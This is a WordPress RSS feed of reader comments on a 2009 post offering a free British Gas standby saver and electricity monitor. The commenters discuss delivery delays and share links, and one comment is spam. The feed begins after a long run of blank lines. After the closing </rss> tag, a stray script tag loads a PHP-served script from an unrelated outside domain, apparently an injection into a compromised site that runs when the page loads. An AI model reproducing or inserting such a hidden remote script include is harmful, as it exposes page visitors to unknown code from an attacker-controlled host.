


























































































<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: FREE Standby Saver and Real Time Electricity Monitor from British Gas</title>
	<atom:link href="http://www.3rdsectoronline.com/freebies/free-standby-saver-and-real-time-electricity-monitor-from-british-gas/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.3rdsectoronline.com/freebies/free-standby-saver-and-real-time-electricity-monitor-from-british-gas/</link>
	<description></description>
	<lastBuildDate>Wed, 21 Apr 2010 17:15:53 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
	<item>
		<title>By: Democrats Suck</title>
		<link>http://www.3rdsectoronline.com/freebies/free-standby-saver-and-real-time-electricity-monitor-from-british-gas/comment-page-1/#comment-4536</link>
		<dc:creator>Democrats Suck</dc:creator>
		<pubDate>Mon, 25 Jan 2010 00:36:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.3rdsectoronline.com/?p=132#comment-4536</guid>
		<description>The information presented is top notch. I&#039;ve been doing some research on the topic and this post answered several questions.Check out my website if you get a chance, just click on name.  (I don&#039;t want to leave a link, it looks too spammy)</description>
		<content:encoded><![CDATA[<p>The information presented is top notch. I&#8217;ve been doing some research on the topic and this post answered several questions.Check out my website if you get a chance, just click on name.  (I don&#8217;t want to leave a link, it looks too spammy)</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: hayley</title>
		<link>http://www.3rdsectoronline.com/freebies/free-standby-saver-and-real-time-electricity-monitor-from-british-gas/comment-page-1/#comment-3484</link>
		<dc:creator>hayley</dc:creator>
		<pubDate>Tue, 15 Sep 2009 19:54:28 +0000</pubDate>
		<guid isPermaLink="false">http://www.3rdsectoronline.com/?p=132#comment-3484</guid>
		<description>http://britishgas.co.uk/productoffers


Get them here! I got mine yest..and everyone else i told has too!  :)</description>
		<content:encoded><![CDATA[<p><a href="http://britishgas.co.uk/productoffers" rel="nofollow">http://britishgas.co.uk/productoffers</a></p>
<p>Get them here! I got mine yest..and everyone else i told has too!  <img src='http://www.3rdsectoronline.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Paul Jenkins</title>
		<link>http://www.3rdsectoronline.com/freebies/free-standby-saver-and-real-time-electricity-monitor-from-british-gas/comment-page-1/#comment-1795</link>
		<dc:creator>Paul Jenkins</dc:creator>
		<pubDate>Wed, 10 Jun 2009 21:40:50 +0000</pubDate>
		<guid isPermaLink="false">http://www.3rdsectoronline.com/?p=132#comment-1795</guid>
		<description>We sent off the coupon from here and received the monitor and the standby save a few weeks later. Thanks BG.</description>
		<content:encoded><![CDATA[<p>We sent off the coupon from here and received the monitor and the standby save a few weeks later. Thanks BG.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Azzam</title>
		<link>http://www.3rdsectoronline.com/freebies/free-standby-saver-and-real-time-electricity-monitor-from-british-gas/comment-page-1/#comment-739</link>
		<dc:creator>Azzam</dc:creator>
		<pubDate>Tue, 28 Apr 2009 10:12:44 +0000</pubDate>
		<guid isPermaLink="false">http://www.3rdsectoronline.com/?p=132#comment-739</guid>
		<description>I corrected the url for you :)</description>
		<content:encoded><![CDATA[<p>I corrected the url for you <img src='http://www.3rdsectoronline.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Lee Mulholland</title>
		<link>http://www.3rdsectoronline.com/freebies/free-standby-saver-and-real-time-electricity-monitor-from-british-gas/comment-page-1/#comment-176</link>
		<dc:creator>Lee Mulholland</dc:creator>
		<pubDate>Thu, 09 Apr 2009 08:46:57 +0000</pubDate>
		<guid isPermaLink="false">http://www.3rdsectoronline.com/?p=132#comment-176</guid>
		<description>I had a similar issue, so decided to go a step further and make my own web based usage calculator calculator as there are no gas usage monitors around (probably becuase of installation charges), the website is &lt;a href=&quot;http://www.monitormyusage.com&quot; rel=&quot;nofollow&quot;&gt;www.monitormyusage.com&lt;/a&gt;, it&#039;s free to use and calculate your daily spend on your gas and electricity, also you rprojected annual consumption, and your appliance usage costs.

Thanks

Lee</description>
		<content:encoded><![CDATA[<p>I had a similar issue, so decided to go a step further and make my own web based usage calculator calculator as there are no gas usage monitors around (probably becuase of installation charges), the website is <a href="http://www.monitormyusage.com" rel="nofollow">http://www.monitormyusage.com</a>, it&#8217;s free to use and calculate your daily spend on your gas and electricity, also you rprojected annual consumption, and your appliance usage costs.</p>
<p>Thanks</p>
<p>Lee</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Azzam</title>
		<link>http://www.3rdsectoronline.com/freebies/free-standby-saver-and-real-time-electricity-monitor-from-british-gas/comment-page-1/#comment-9</link>
		<dc:creator>Azzam</dc:creator>
		<pubDate>Mon, 30 Mar 2009 20:47:51 +0000</pubDate>
		<guid isPermaLink="false">http://www.3rdsectoronline.com/?p=132#comment-9</guid>
		<description>Unfortunately I am not the owner nor the supply of this item, we received and email internally at our works and I decide to use the internet to promote it further.  Since you bought it to my attention I will look into what you have written above and see if  I can get some answers.  I can not answer for the Daily Mail one but do not that there can be a significant time delay for the ones you receive via the coupons.</description>
		<content:encoded><![CDATA[<p>Unfortunately I am not the owner nor the supply of this item, we received and email internally at our works and I decide to use the internet to promote it further.  Since you bought it to my attention I will look into what you have written above and see if  I can get some answers.  I can not answer for the Daily Mail one but do not that there can be a significant time delay for the ones you receive via the coupons.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: P Sheldrake</title>
		<link>http://www.3rdsectoronline.com/freebies/free-standby-saver-and-real-time-electricity-monitor-from-british-gas/comment-page-1/#comment-8</link>
		<dc:creator>P Sheldrake</dc:creator>
		<pubDate>Mon, 30 Mar 2009 10:44:34 +0000</pubDate>
		<guid isPermaLink="false">http://www.3rdsectoronline.com/?p=132#comment-8</guid>
		<description>STANDBY SAVER

We applied for this last Sept via the Daily Mail but never received it.  We applied again via the coupon in your, &quot;Guide to a Greener Future&quot; some weeks ago.  We have received nothing.  We paid for an Electricity Monitor which we did receive. 

What is the problem with sending us the Standby Saver.</description>
		<content:encoded><![CDATA[<p>STANDBY SAVER</p>
<p>We applied for this last Sept via the Daily Mail but never received it.  We applied again via the coupon in your, &#8220;Guide to a Greener Future&#8221; some weeks ago.  We have received nothing.  We paid for an Electricity Monitor which we did receive. </p>
<p>What is the problem with sending us the Standby Saver.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>